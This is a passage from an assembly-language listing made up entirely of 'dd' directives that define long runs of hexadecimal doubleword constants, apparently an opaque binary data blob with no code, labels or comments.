0F2CF77DFh, 0B112F47h dd 5467C706h, 41AC5367h, 7C064FBEh, 5BADB042h, 18BDA49Ah dd 46F7D6B9h, 616F107Eh, 5F4A581Bh, 0BE292E7Fh, 63D69792h dd 0D71F7059h, 7EE5973Ah, 0C3DC9476h, 29D5C445h, 18184733h dd 861147D5h, 0EB4B5C99h, 0A06F3E2Dh, 66C7D2F0h, 641452E3h dd 1AD267B6h, 660223A0h, 861E395Ch, 5FB2D0BCh, 0E322C734h dd 9589E23Bh, 51422AA3h, 5B4787AAh, 49C98FC2h, 7D9E871h dd 97DBC128h, 11B29015h, 0D28D6CBCh, 852C6F4Fh, 0D1E53B3Dh dd 0D3B91A11h, 483D13F4h, 4CA88B89h, 500AE127h, 195A8454h dd 1BACEC66h, 748C6B30h, 92F79A35h, 0B8DE028Eh, 0B49997ECh dd 0D1E3F4AEh, 53B5BB05h, 0E9415521h, 9041FDDCh, 3C31549Ah dd 8A17629Dh, 5AD00F8Ah, 0D0952EF6h, 0A18DAD68h, 40EBAD58h dd 76A8386Fh, 0F2C7791h, 214067F4h, 300D61C0h, 34C71D2Fh dd 0E67DAD67h, 2375A7A9h, 9069DA91h, 0A6E9A93Ch, 0C599BD1Ah dd 3B864DC9h, 0F4EBE7EEh, 938F1C29h, 4BEEDh, 0E633D464h dd 1FD05715h, 5F43502Fh, 2BE84FAFh, 0AC6AA675h, 0DDC4FAEDh dd 732B9890h, 0A8DFBA7h, 0E6003D08h, 0A0D843E0h, 121782EAh dd 57E86C7Ah, 6017B733h, 4552D59Eh, 2619C7CDh, 0F7751C34h dd 13B907EDh, 88B628Eh, 53B810B1h, 2F3A8E8Eh, 4B33458Dh dd 682F2D19h, 6E3151D2h, 362A1514h, 0EC38E932h, 0FA5408BCh dd 0B530B678h, 0E10AE4EEh, 0DB3E3E84h, 64227D3Dh, 759D0D4Fh dd 0D166C29Fh, 0A7105735h, 309215F1h, 0A720B31Ah, 2105879Eh dd 1DDBFA77h, 70AF20F1h, 9CE3206Eh, 63D3499Fh, 4A12B996h dd 724DBA6Eh, 27E1A8EBh, 1B8ADCC8h, 0CD801A14h, 5209EB7Fh dd 815692FFh, 0B84A9195h, 541DA2C2h, 9F85FBCCh, 0C00DD4F6h dd 566B80F4h, 633F5E24h, 0E06AE5ADh, 9A37ED8Fh, 0E845FACFh dd 566337B9h, 0DBF02AF4h, 61AD0030h, 26B9036Ch, 6FD444B2h dd 25DFAA77h, 23DE23h, 7AF0A505h, 2C94C40Dh, 40A8AC0Ah dd 4143954Ch, 8EB0B9D0h, 2D1223DCh, 16FAD8F3h, 0EDFC0E06h dd 0DBA61E03h, 0DE01AFC4h, 0B87CA4C6h, 8C4C4FB1h, 0C6DA945Bh dd 3605B53h, 34DCCE12h, 937A0DEFh, 845E08BEh, 98DC42D1h dd 1BE00081h, 0F83DBD99h, 0EE6740C2h, 87E5C0FCh, 0F29CD2CCh dd 0A353601Dh, 0A25678FCh, 14EFD21Ch, 4FB0CA9Ah, 9543147Fh dd 0EEA8379Eh, 122F27C5h, 0C530E94Ch, 1BB6B7ECh, 4EF7EBFFh dd 909E419Ah, 0C633D8B3h, 0F1EA7E97h, 9C2525D0h, 0AE7658DBh dd 0E1A073BBh, 6E44CAA4h, 4D40F164h, 812D216Dh, 0D0473CD9h dd 5236E7F7h, 9E1DFD2Fh, 0BC425266h, 9C3317CFh, 0F535868h dd 8DDFFA16h, 0EAB1BC9h, 5F57C5C3h, 0E3A00AB4h, 0F97A1D7Fh dd 8CA21C3Fh, 3FFC3E5h, 0B976D700h, 0E7E6E04Fh, 63BDE122h dd 0D561E994h, 0B619215Dh, 4EC87A20h, 3DDE5893h, 6295D05Ah dd 49B21474h, 359387D4h, 9092196Dh, 210C011Bh, 0CB433BE4h dd 0FAA9FDA6h, 0B421ED0h, 0DE57EC28h, 0AC590902h, 97835F63h dd 0EDDE12C5h, 0E15EEDD8h, 9668379h, 8609ED04h, 9F5CF0B8h dd 7D2832C6h, 761934E0h, 71D2BE3Ah, 0B301E34Bh, 0E903A402h dd 0A4D517DDh, 0CB8DFA58h, 0B1AA9F8Ch, 0D930C4F9h, 0E14FC09h dd 66F76572h, 95BAF3D2h, 4158C3Ch, 35E3575Dh, 5E122A4Eh dd 0FB4ED7F1h, 74186D55h, 0C0BFF573h, 0D8367250h, 21179938h dd 805FC8E7h, 0C4226390h, 720D965Ch, 859A036Ch, 0DD4FE6E1h dd 0A6DF4D92h, 0CACB581Bh, 495DFF0Bh, 0F1CBBDC1h, 15DD55AFh dd 3BD45DECh, 7E036180h, 5A2104CCh, 5419A21Ch, 0BA07AFC9h dd 7E5197FBh, 6EB72203h, 982040C5h, 52C3A9BFh, 0FEC05B1h dd 36BBB405h, 7BD72999h, 0C1F48680h, 0A1205432h, 1369C136h dd 43AF6A98h, 1CFE2893h, 60930D6h, 2FC86A5Bh, 4E1B2AB6h dd 0AD72BB8Ah, 75F7C721h, 61AE7CB6h, 3D8D5D50h, 0B1D786F9h dd 4E2C9775h, 117BD726h, 5209DBABh, 8D48B079h, 4F632913h dd 0C3A0C1BFh, 26DBE708h, 0B075A0F0h, 6CBCF230h, 4D69BF24h dd 0FDE0D993h, 45577E90h, 0E4CED1B2h, 0ADD9AA0Ch, 79EBF59Bh dd 0BB9112BAh, 6EDB9332h, 4349E197h, 94D9E542h, 37CE5BD2h dd 0D269EF03h, 0EF819826h, 5BD48Dh, 226BFA92h, 129AECDEh dd 0FAF132B1h, 7E8944B0h, 78B9D6A6h, 5888ED1Ah, 0E08F91EDh dd 5A7B87Bh, 0B6A53D1Fh, 0B0FAF88Ah, 0E5641CCDh, 0C9491970h dd 60469925h, 7AF2E830h, 81C327D3h, 0BAB75E7Fh, 49A2866Ch dd 38EFB246h, 0CE7E1109h, 0F4DDD62Bh, 7BA92CF3h, 5E8257B9h dd 0AA0B9A23h, 0FBBC640Fh, 0D6E9736Dh, 2ED00A3Ah, 2AF769C0h dd 3AA77AEFh, 5A81DA65h, 0EBEB064Ah, 7DCF1F16h, 4A7F112Bh dd 458277E3h, 48A5F503h, 0AE3EE17Dh, 0F5A3B6B2h, 1A46692Ah dd 0C2921F84h, 56DBEA9Fh, 0FF355229h, 0F5F1B8Ah, 0A67B0BB0h dd 0E66B7ED5h, 85DEA418h, 74ACF3F5h, 18A21DB7h, 8FDBA86Ch dd 0A724FFA8h, 0E402A270h, 0B42A4613h, 0AF1724ACh, 2716A980h dd 4D17580Eh, 0E3FAA27Fh, 5C3F8DADh, 32319FA7h, 9EA055FEh dd 0D6EF7E7Bh, 0EB40CCACh, 3D3DD1A6h, 0FD4BAD61h, 293B6F0Bh dd 5E45CDD3h, 0EA651595h, 0EA4AE1EBh, 8B3E0B71h, 0EA4327DAh dd 5848B1E4h, 9F2F70F9h, 0A8FF3BF9h, 58704A5Dh, 0E166723Ch dd 0A96B5516h, 736E4644h, 0C18F8F14h, 6A74C963h, 632DEF4Dh dd 1C82250Ch, 1CF2B475h, 0A79F914Dh, 242AB770h, 0D0223171h dd 53ABE22Eh, 39A2D9FBh, 727392F9h, 0B55878A6h, 0E0C92BA2h dd 94CD397Ch, 0AA109ADEh, 0FE405A79h, 0CC66DD8Ch, 0DA73E72Eh dd 86C5CD59h, 5E400B0Eh, 9AF272D9h, 1044AED7h, 903BD5B8h dd 712A241Ah, 0AA7BF47Ah, 0B7DF5721h, 67E1178Ch, 0C776E9C7h dd 1FC8C607h, 0EB5DA9h, 98C36E44h, 3CEC6A10h, 96571E0h dd 0A59E974Fh, 0C59CF670h, 5436DB4Fh, 28800F7Ch, 0C69EAC8Dh dd 87E152B7h, 0D85541C8h, 7BEC8271h, 0ED12F5CEh, 5B803FE5h dd 39553BC1h, 6139841Ah, 5C40F1E8h, 0FA7B476Ah, 4A02661Dh dd 2190D8E8h, 96C40B9Ah dd 5158997Fh, 32BD2D2Fh, 4E88E6E7h, 0B91A6192h, 0F4E2892h dd 0F1134D33h, 0AFC3ED6h, 5994109h, 0C0BDF24Dh, 738A578h dd 9C6A817h, 0FE042CF7h, 0DB88611h, 0FA39068Bh, 0D5760720h dd 5E932AE9h, 31056642h, 5C6A49FDh, 0A17BE388h, 0CAF5EF3Ch dd 0CF66926Fh, 0FB93994h, 357DF857h, 3DA65572h, 6575F3DAh dd 69A8DAE8h, 7CE4C608h, 0F8BEAEF3h, 4B6BBABBh, 47FE465Dh dd 821BC0h, 1E5A220Dh, 863C05h, 5C9263AEh, 5636140Bh, 94A34C0Ah dd 448EBA32h, 2588054Bh, 617F97D8h, 22C58867h, 0FC956239h dd 91E8CFBh, 26259F23h, 340A8FC1h, 0BA08E19Eh, 43AAB63Dh dd 0ADFBCB1Fh, 7BAB21D9h, 82BF9C0Ah, 4C79F62Eh, 0A4911D9Ah dd 54CE4607h, 4A9A4E3h, 69685966h, 83F9D80h, 26772C67h dd 0D26A056h, 0B4355D84h, 8DC22CBDh, 7EE8422Ch, 0F57C7Fh dd 0BDD78C32h, 0F8DFC2ABh, 38BFC815h, 31B8E64Ah, 6DD1D27Dh dd 3675A344h, 23ED6F0Dh, 0ACC11713h, 2F23A875h, 652E893Eh dd 0FED44E53h, 697B23D2h, 9C5A1B9Ch, 4DA30BCCh, 54023DD0h dd 0B158824Ah, 0F12BF264h, 81E1D56Eh, 2AA997CAh, 3044FAECh dd 6DDE558Bh, 0DFD6019h, 64308A46h, 0C3695402h, 1078454Eh dd 8F5C18D4h, 72406745h, 2AB5CED3h, 11D4DCB6h, 2FAB6082h dd 663425BCh, 113FFD87h, 6FC4B322h, 0A16AF528h, 0B11EAE01h dd 390E8A00h, 0F7780DF9h, 2FC79591h, 8BA471F3h, 44056A1Eh dd 398C04AFh, 9A03C8C5h, 2E8D37CDh, 0C050AE4h, 6E3F0D17h dd 615E2C4h, 9025ABC2h, 7BC65592h, 0D791CC39h, 0EF1AA9D0h dd 258830D0h, 689A0A9Eh, 2853B2F7h, 0EEEE22C0h, 1EBAE26Eh dd 0AC6F78AFh, 6CF4E20Fh, 7EB41A13h, 8AA7F0Dh, 26A516A9h dd 0BBB22687h, 0CF2ACF4Ah, 0D5130587h, 25D994FEh, 0ACEEE401h dd 0A15D9FC5h, 50570AD0h, 9E78CDE8h, 0A702E120h, 68B14FF9h dd 707388Eh, 90950D93h, 1C785397h, 0AF7C5EE4h, 52933D6h dd 0C244F160h, 0EC36484Fh, 6E53D7CFh, 0FA38BD7Eh, 1A13C007h dd 42B1A834h, 94821DF7h, 9F93FAB9h, 1A5DECBAh, 4B51CCE4h dd 0BF15B71Ch, 71A12CB6h, 0AFA8D02h, 55B63516h, 0BC12DF27h dd 0D0BA4E26h, 6317B2EEh, 0EAF3B5B0h, 0B7DC9747h, 9097F619h dd 573D57F6h, 3AEC75DFh, 1058517h, 0BBE7AA3Dh, 0FEEC72D2h dd 0C2953E72h, 0D4712536h, 5241E9C8h, 2FD8D5E1h, 73AF1AFAh dd 9552DDC8h, 0BB42241Eh, 1684B4CBh, 0FB085D3Eh, 595561C7h dd 35A761C5h, 6ADB3399h, 0E6D27053h, 0ECC16957h, 735EB13Fh dd 5AAF8031h, 7160D58Bh, 205909CCh, 1C3FBC12h, 0BA274601h dd 0B1B94981h, 89BA6652h, 0A2BF9E7Dh, 0C6D3B830h, 0D81B0DEh dd 0B18B3Bh, 0C567BBAh, 90FF60E1h, 0B9CD3F68h, 324FB0Fh dd 0F1C6037Bh, 0C35693E0h, 1378AA1Ah, 17C45BB8h, 6BDA99D9h dd 1EF0B474h, 5940A2Eh, 7F0E550Ch, 2404C98Ch, 74F49EDBh dd 616F8D3Fh, 732E32D2h, 0E7B91919h, 0E89E0E15h, 14CDC743h dd 4B3E0FA9h, 26FDCBC2h, 0BD01D08Fh, 78E602F2h, 0B088736Fh dd 1641D118h, 43EE36D4h, 86D1CFh, 9FCAC15Ah, 0E77A02D8h dd 38AEB7A6h, 97153722h, 68523EA2h, 0EAD9FFF0h, 6C5F0BEh dd 621B0F52h, 0A9483785h, 4DE08FF7h, 0D366BA2Dh, 0E03586F2h dd 45536BABh, 0BD8723EBh, 0DC042975h, 62C1B42h, 0E8FD3091h dd 0DA8CFD05h, 87F6F2A6h, 3F75836Dh, 3D5A2215h, 212BB4AAh dd 84A2102Fh, 0E35B4CC0h, 115E18CBh, 150621B2h, 0DDB65B51h dd 0A42BD998h, 8CE274DAh, 0FCFB2914h, 8976DA4h, 197B7C31h dd 4BFC1AD2h, 0BB57E7FCh, 0CCF74BDCh, 0E0385235h, 619D2FF3h dd 0EC6FCCA8h, 0F9B9774Dh, 2CFF637Eh, 0C37B9DF7h, 3AC2983Ah dd 0EBE93C6Ah, 0F8EB389Dh, 0EE5625BCh, 44982D49h, 284839AAh dd 0FE3892E1h, 0C0AE499Fh, 77976FFh, 47BE435Dh, 7603F7C6h dd 0C92F63B9h, 0F2D8CC14h, 2F6876B4h, 291D7A71h, 7231A71Fh dd 493DDF1Ah, 1A625C31h, 97FC0260h, 917D35A0h, 4EADE925h dd 0DF93EB0Fh, 0CB89129Fh, 8B3D11FFh, 2A04C969h, 20C43FD0h dd 5E69782Dh, 5433993Dh, 0F0F255BDh, 2155E2E6h, 0B60A17B1h dd 0F12857CFh, 8A88C4D7h, 2BC6516Ah, 0AA498757h, 35DF7D0Ch dd 0CC47CF01h, 4DBD91DFh, 9A9E56Fh, 950AEB4Ch, 7711B982h dd 412CE3D5h, 81C9EBDh, 0F094F53Ah, 90ADF00h, 6B475398h dd 12F1C6F8h, 0DAAAA40Bh, 0FD211041h, 602914F8h, 0D7B54DE1h dd 0F87AD87Dh, 34DB7C31h, 64678570h, 23149F90h, 5B04A666h dd 75F99E9Dh, 9193F874h, 8A580603h, 0B33989E4h, 777FBD04h dd 76789A36h, 0E34AC271h, 2EAAD65Dh, 62718514h, 0E8683EFBh dd 3C490302h, 643E9772h, 0D157261Bh, 1F284CCBh, 62C274DEh dd 5A966169h, 0ABEB3ECCh, 72A432B3h, 55D0C2A2h, 0B7C60272h dd 417BE69Bh, 0FB3A96EEh, 0EC767D99h, 6D64F369h, 99F90A51h dd 20AD213Fh, 4B8B0E77h, 6987C294h, 445E2E84h, 435B52CDh dd 9D834C56h, 4936A6DFh, 0A99A23B8h, 96C767Ah, 9E6C258Ah dd 0F73E9727h, 0AF2055E5h, 78F043C5h, 46F14C1Eh, 0B0C92445h dd 0BF0D16C8h, 0A7C08CDh, 66056E37h, 955D6D44h, 7AFDB4EAh dd 6B3C779Dh, 8EB66F14h, 0A9BC038Ch, 14668C5Eh, 2634608Ah dd 0C4E13365h, 1CE2DF8h, 4C5CA765h, 0A0AA405Ch, 6ACE87BEh dd 5FE39F25h, 4790BF27h, 0A9186FF1h, 6152AB05h, 0C817029Eh dd 51EA1152h, 2596E6B4h, 9C358673h, 65AF3E22h, 644D8A54h dd 0A0808F5Dh, 4FF3F0F1h, 793E1B98h, 0EB1C8D69h, 5ABA5692h dd 0AB73B15h, 2F2EA695h, 112625A1h, 0D6EF58C3h, 0F03BB929h dd 89032BD9h, 0E3B78AF4h, 7F9CE637h, 6D985C87h, 7FE3C282h dd 0D65AF4EBh, 0D909FC24h, 987D4BB2h, 356922F2h, 6C2B24E4h dd 9F1C75D6h, 0AD831BE8h, 4F544C9Fh, 41FCA925h, 8EE5B7h dd 0D438BA6Fh, 0CAFA81A4h, 0AA2A737Dh, 0F681643h, 0BC158477h dd 0A430524Bh, 9F979E7Bh, 8E3A400h, 0CD2E9D09h, 48E08025h dd 9B69DB34h, 39A0864Ch, 9501ADFBh, 64714437h, 0FC8D47EDh dd 5C57C373h, 4DCE1B30h, 0A41F6863h, 0B50456EFh, 77C07461h dd 0D6F5F2Eh, 3E505C8Eh, 3B613C31h, 39E0CB38h, 0F9B877D6h dd 0FA79FAB1h, 0C78A3191h, 2DF8C8FAh, 0B59A582Ch, 957B839Ch dd 9247B9E0h, 8BC5A21Bh, 0E1BABD1Ch, 0E19A96A5h, 0C6961075h dd 5E2B3462h, 0C5E783DCh, 0DAD2B04Fh, 3F5EE8CAh, 46670E61h dd 0A3C9B8C7h, 3CB66F26h, 0E64FB96h, 42FDD2DAh, 53580003h dd 4D768026h, 0E9EFD78h, 88229FF1h, 0E5CB058Fh, 0B9CDCADFh dd 0D4E4EBD1h, 0C67E1C1Ah, 0C02AA828h, 0EEDF3D73h, 3D4BEE5Bh dd 0D7AB1B8h, 0F91B64ABh, 0E2FDD7F1h, 0B1BF7505h, 54B85698h dd 0BAAB8A36h, 3627D509h, 0DAB3596Eh, 0D50F3547h, 9B11D820h dd 9CE1C472h, 1BF74E1Dh, 59FA365Fh, 2CF81C40h, 6CEE769Dh dd 78372E5h, 733CA9F2h, 4454CCBEh, 0BAD9AC17h, 4AAE87D5h dd 0C11F6EEDh, 97CDFA10h, 17B86A25h, 0A2C219CFh, 7B637010h dd 212230D5h, 8557A16Ah, 0B5FE810Dh, 0A6C31490h, 9854105h dd 0D9F819D8h, 483314A9h, 69E318ABh, 99037809h, 175D277Bh dd 7DF8227Fh, 0AFE65853h, 2141B788h, 6436FE7Ch, 44B4D45Eh dd 1004F45Ch, 0D0BF0D05h, 561A9531h, 0AF66DA24h, 5993E52Dh dd 0DD21F066h, 4FFD8604h, 2FAD45C7h, 7BAB46F9h, 6C2E0346h dd 0DFA79F80h, 0B85F57ADh, 766438F1h, 29E8BA51h, 25FC42CBh dd 0D82D847Dh dd 5C209D6Fh, 8AA5A4C5h, 66F690DBh, 3798E2ACh, 7F596F75h dd 85454E6Ah, 0FB8BC917h, 6336876Dh, 181F5BB0h, 2872F0EAh dd 0A0227D3Eh, 0D74FA06h, 42BB59F7h, 5A7048A1h, 5B25325Ch dd 6B9936D4h, 262F2CE5h, 0E6796755h, 7A778F4Fh, 0F00ED51Fh dd 7069478Ch, 1ED3A422h, 53C922B9h, 9F0FB461h, 5323A395h dd 0F218F6h, 1C06A210h, 369F69B7h, 9E599CB7h, 102A45B9h dd 4845AF5Ch, 0F4DAC810h, 5E4A6F8Fh, 67A4377Eh, 0C545D87Eh dd 0D3CDC5B4h, 7CC25FAEh, 2912789h, 4B53C191h, 0AAF598FBh dd 6CB76BEAh, 111F97BAh, 7428F819h, 5CDE3EC0h, 64925A01h dd 0A434C85Dh, 30465BFEh, 0EB0EA4DEh, 1AD08258h, 0D6529C8Ah dd 3F3A24BDh, 678CF20Ch, 415EA07Ah, 69EE1FF6h, 362441FBh dd 2E55D7EEh, 9C96DFCFh, 0D9F4E6B2h, 10D10D41h, 0B3C3F74Eh dd 8514C257h, 0FC21DC2Fh, 0EA66FF90h, 4CBFA0B8h, 0E9394B20h dd 0FEE65924h, 0E9AA794Bh, 0A512733Ah, 0DEA08542h, 0CA78D396h dd 13A4CB36h, 2F90B5EFh, 1ACB22B6h, 3A3E5A61h, 6798EBC6h dd 0C6FC1DEFh, 4A0C1443h, 98299EB5h, 80805A6Fh, 6E6228D3h dd 2E2FAC62h, 0EFC858BFh, 0F8C288B1h, 8D4E9C5Bh, 40ABF53Ch dd 5C2DFAA9h, 0F0264EAh, 0F9DC85B6h, 34842E66h, 0FFEA8EF8h dd 0BC6EE59Bh, 0A20A29D0h, 4E221E73h, 258B6B1Dh, 0AB4CA2EDh dd 327B8899h, 2391E4F6h, 7BE64957h, 628F5F72h, 0C32A5755h dd 0B8F6AE78h, 0F7DE5CE8h, 329B4420h, 0A3C920D5h, 0BAD35C11h dd 0A191A3CFh, 0D6BF5DCDh, 0DE9E2E14h, 0CCEB18B4h, 5AE2A634h dd 5D8FF5F1h, 0D2E41FF1h, 3FBDEA80h, 6B445A36h, 1B98D697h dd 1DE6CE68h, 717F5070h, 0E0C1969Bh, 0E5CACDB9h, 0E4C5888Ch dd 382D2302h, 2A3AC933h, 72EFDF21h, 0EE3907EAh, 0F5EBD871h dd 0DC8E0759h, 4384A5E3h, 0F58EDFDh, 0E1C3CDAEh, 18836A62h dd 8994CC96h, 4AE6F08h, 0AF782CD0h, 0C8E8A620h, 0CE60828Ch dd 5021633h, 0CB714540h, 47B8B49Ch, 0AE8D4D97h, 0AF342308h dd 6817DE38h, 0FD483370h, 918555D2h, 3013907Dh, 0CF6F5E7h dd 3D02DF5Dh, 80F9F702h, 0E50CD863h, 0F30A0B3h, 0A6AB502Dh dd 73E1660Ch, 0FCE68AF1h, 9EBBD7CDh, 0DA8320C1h, 0D18E829Ch dd 8D466C25h, 0A36E03CCh, 5F2134F3h, 3DD91EF5h, 8E1C3DCh dd 0FA9BB5D2h, 0C68D76C7h, 4634E08Bh, 77030EBDh, 67E73E7Dh dd 0F321FB38h, 0C192D008h, 0E9B28D4h, 650ABBC2h, 26494E90h dd 0EE23C7AFh, 26C67A57h, 0A04E02F6h, 96153F1Eh, 25C2374h dd 934384B2h, 0FB9342E5h, 0FF61EF9Ch, 3CF3E68Eh, 15D56D5Ah dd 0C31EC027h, 0A0F5EF9h, 0FEA3FE87h, 0CC2AC67Ah, 534927F4h dd 0EEA6F2BFh, 4A5A2C30h, 4531C50Dh, 65F6E8B7h, 8122B9E3h dd 9F43ABE2h, 80202936h, 3A361ECh, 77743C94h, 6E52AD15h dd 3940C20Eh, 589C7B59h, 2C79C3EAh, 0A3457B07h, 33F23383h dd 0E3858658h, 8A9B3C46h, 7C71CBA0h, 42AA86D5h, 0DEDE8B2h dd 0DFFCDBF2h, 4CBBF294h, 8C506EC5h, 35AB4D39h, 634A5C21h dd 0F2242B4Fh, 923FEFA4h, 7B595D4Fh, 0F84EAB9Bh, 1427A5E6h dd 0AF42725Bh, 0FBC1AE5Eh, 0F5F86AFCh, 6D870431h, 8B1842DBh dd 69910B40h, 181331F9h, 97CC651Bh, 0EB4435F5h, 5D45E96Ah dd 0DB5C328Ch, 4A8A194h, 0E5ECE469h, 0ECE8CEC8h, 5115D294h dd 2976CB48h, 0F04E1884h, 0BE8C9664h, 9B009AE5h, 0F8DF764h dd 0E3A24BABh, 317D4E48h, 9636E89Dh, 0D6B8D467h, 0E76955C3h dd 0EE15C258h, 0A473FA00h, 3A6877E8h, 3C5BCC35h, 0AC9A6203h dd 346B2741h, 9E0AB5F1h, 0AD77D84Dh, 51B8C9A4h, 0FA3F68E1h dd 0A784D6EEh, 2D3D69B6h, 5CAFD921h, 0BB8141C0h, 8C36F27Eh dd 0B97AEA06h, 86011BDCh, 388A65BFh, 0F34B5E5Ah, 26EFB032h dd 576FB821h, 2DEF5197h, 2C41DF49h, 13B00102h, 11E5200h dd 9406C237h, 9CEF7ADCh, 0B73D927Ch, 863528D5h, 0F6E203AFh dd 8A86100Eh, 1E4B92BDh, 0EC35458Ch, 20397F47h, 0DC6A832Ah dd 0A02225E3h, 0D9A6CC9Bh, 7C16A8F8h, 938B84AEh, 0CE18EA8h dd 72C9B912h, 40FFA369h, 1ED2B85Eh, 93C8C1BDh, 1D12DD62h dd 908442Ah, 0C02DC072h, 3680096Bh, 0E9AD2F03h, 0CAE12DE0h dd 9CA8AC15h, 5FED33D7h, 44313C22h, 167606A3h, 20F091DFh dd 14DC6D3Eh, 0C67F8836h, 99EBEFD2h, 456144h, 18EECF89h dd 61D1E56Dh, 0E21512B0h, 98592EC7h, 32424E22h, 764D57D8h dd 0E47715A2h, 6FF78D91h, 0C11A1495h, 0A10CACE0h, 0F65AA49Fh dd 8883E2A6h, 0E7A6C729h, 9B9857A9h, 91B82BAh, 84175059h dd 5672F7Eh, 1DA9AD92h, 32F10E64h, 0C1E687E2h, 8167F011h dd 7357B605h, 7EE461A2h, 6C5D9AA8h, 8FEF46BAh, 677FF92h dd 0FF6EBC94h, 4B31F579h, 64F83B7Fh, 84523AD5h, 0CD198171h dd 806503B3h, 0AEDDD498h, 68237180h, 0C5F8569Ah, 915461EAh dd 718B9DC7h, 0C07D592Eh, 445EFA61h, 5DCAEE0h, 0C8DD85F4h dd 5A97E908h, 5064D0D1h, 5809322h, 96B2344Fh, 8DB5CD54h dd 24170EC4h, 0EAD905D0h, 9BC2CCDEh, 0AE723874h, 9AA890BCh dd 98CA222h, 0B763015Ch, 3A983F9Fh, 38537202h, 0C7B9F3F2h dd 9D2EDDE9h, 2254CEB0h, 9912705Ah, 51FD28C6h, 0D48642CDh dd 0F151847Eh, 0EECD973Ah, 0A8B98A50h, 49EB907h, 19BC099Dh dd 0A3BB18E0h, 5854A654h, 3DD26212h, 0EB2150CEh, 3AA1895Dh dd 0A2EFDE58h, 3A74F764h, 5A4E18BEh, 0D2B5A143h, 8F9DFD1Dh dd 63053CE0h, 0BEE56918h, 9DE6AA72h, 3F2BA3E1h, 1A63A361h dd 0F777EE8Ch, 0CA0E4280h, 1A662A7Fh, 0FE1FF9h, 8A8FC986h dd 9BEC81B6h, 0F6B1DAB5h, 4E67C7DDh, 39BC1FA9h, 0D4208532h dd 0DAA320B3h, 0D159E630h, 1D0DEECDh, 790A5EBCh, 1BA8CD05h dd 0E5302A1Ah, 52AAC954h, 0E0DD60D4h, 601C36B4h, 6746E654h dd 2F850CF4h, 6C52AEDBh, 18E6CE70h, 0DCD07C69h, 99C42B2Eh dd 0E8EA39DAh, 0B6EC1E3Bh, 8F0AA809h, 2B14BB87h, 274C3F38h dd 31EC1A2Ah, 689D07AAh, 7A0CB64Eh, 2EDE21CBh, 0F3A18D27h dd 0BCE50BF1h, 0B3E6230h, 8A60E201h, 23022086h, 0A5E97DB8h dd 0BCC01227h, 0C77A16D8h, 24F71C34h, 0CAD056EAh, 0DCFA7C5Bh dd 6F2759BDh, 0B6611154h, 8A35BA01h, 345099DFh, 1195AB4Eh dd 9BE6D596h, 2AEF80F4h, 0E3C627C4h, 89F42F35h, 0EBE2DF61h dd 0DF7E03AFh, 0D86B6A36h, 5B1EF059h, 7B641A49h, 34D488E6h dd 0A76B11B9h, 85FC1B17h, 9CC024C5h, 87893C0Dh, 77A51A1Ch dd 1630A8C2h, 0B8454B5Fh, 11264A38h, 0C72E0A37h, 0A171A3B7h dd 0B29600FDh, 0CED8155Ah, 85A73FE1h, 0EC507059h, 75340822h dd 8C30ED39h, 32456D1Fh, 0E9C3D4C5h, 6B22B6EDh, 30EA4510h dd 0E06AEDCEh, 0E9F42BE4h, 87349B90h, 0DB7C864Fh, 3C196F79h dd 0A67ED062h, 3D190062h, 0E4442097h, 56A2D75Fh, 0D32C5CBDh dd 0BB7F1043h, 1056002Eh, 1F0262C3h, 412EA0E0h, 0E668D22Dh dd 5DB7E274h, 4F42047Ah, 9738CD67h, 0C88EAC5Ah, 14F2C2DDh dd 423D2DE5h, 0C0014929h, 0E4095731h, 40BCCF0Eh, 0B4D4376Ah dd 0F4C0339Dh, 236D8CA9h, 6463764Dh, 3A3D0CA1h, 7B7221Fh dd 9D11C673h, 0E16F7B8h, 881E07F1h, 0A20E9DEDh, 0AC7C4562h dd 63B1A9BFh, 8F415DD9h, 0EE819655h, 8370BB30h, 6F040734h dd 6BAFFFB9h, 7561D1C7h, 22430BD9h, 47E9C34Eh, 8AB1405Bh dd 157FEE56h, 0AB3CFC4Dh, 0A2BE6CA1h, 0E66CC541h, 1CE0B1EFh dd 6F8C7824h, 328A7FAAh dd 0A53AB927h, 68CF6EC2h, 0E8F29F1Fh, 0CA516357h, 0F1A49492h dd 0EB6B501h, 0B4A36FBh, 30E0D59Ah, 265DAEDFh, 0AF5EC44Ah dd 0A75FE460h, 0CFCFB97Bh, 581ED090h, 0EE58E47Eh, 77C6B6FCh dd 0FDD8ED99h, 972AA2C9h, 0B665BF0Ch, 37037386h, 6A5451DBh dd 4499693h, 59F53C27h, 69170586h, 7CD72B67h, 0C2DE0280h dd 0FFBE132Eh, 0B43D2FE6h, 9546FC2Bh, 18ACACE4h, 0BE7BF275h dd 5D3BE60Ch, 179AF96Ch, 8C1A4141h, 3CF68A6Fh, 0D0F8AA0Fh dd 0E55FC399h, 0D65749D3h, 0B7296A28h, 0F876CD6Bh, 0ACF3EBF8h dd 580A1800h, 0E38115C8h, 0BAAA16C3h, 83F55325h, 62CF6DBAh dd 6DEB57FDh, 959BF1AFh, 0B2D75E9Fh, 29E2CFFEh, 81E55C33h dd 0F63EB55Bh, 514CDA72h, 0A1116E24h, 6A2AA981h, 91F0091Bh dd 0F82BC185h, 0ECF759ACh, 0B62586A2h, 25500CF7h, 0CDBE0B2Ch dd 0F80ACBE5h, 1157F82Fh, 40858C4h, 0A871D82Fh, 258494F1h dd 7F0993C3h, 3FB20414h, 0EF2C274Eh, 0FCDCC5C7h, 18932666h dd 68B3A9EDh, 0A5714A56h, 24EF76FBh, 34150126h, 0C655C6A6h dd 85EB4268h, 0FA8EFF38h, 3EBEECFCh, 647C9709h, 35586A87h dd 0D9B0772Bh, 0C319B5E6h, 6154B9B3h, 8FB52F5h, 7CEC5296h dd 0CB4B5153h, 7DC2422Ch, 0C16B5D8Bh, 0E719EFF1h, 61361AA0h dd 6997048Eh, 27C48548h, 3C674733h, 8781EA3Eh, 24DD89A9h dd 0B42EE8F8h, 2C28B0E8h, 0CE86725Eh, 0CF211217h, 0CB8A51CDh dd 0F84D34DCh, 6A2EC07Dh, 10CFCAA2h, 0B82237D2h, 1B90258Dh dd 0D6068338h, 59CB4E5Ch, 0FFF14827h, 58D06879h, 32CF8DDh dd 0FFE6D613h, 0DC2F103Ch, 0D336C793h, 3ABC654Ch, 1479FDF8h dd 0FEA25C1Fh, 0F203BEB8h, 0F5D53DDEh, 0A05876EFh, 62760A80h dd 0C58D79B3h, 0A4017DDDh, 89B987B3h, 283CC5BFh, 2C8D792Ah dd 3C591063h, 0D43E82B6h, 5FC35EE5h, 0CB72D050h, 0B111C138h dd 0BE1DB2C4h, 4BFD81E6h, 0A53D7D15h, 3D8BD493h, 8F75CFDAh dd 9E5C94C9h, 4F85A7C3h, 9DDFC7FEh, 0A1EC75DAh, 634B32B1h dd 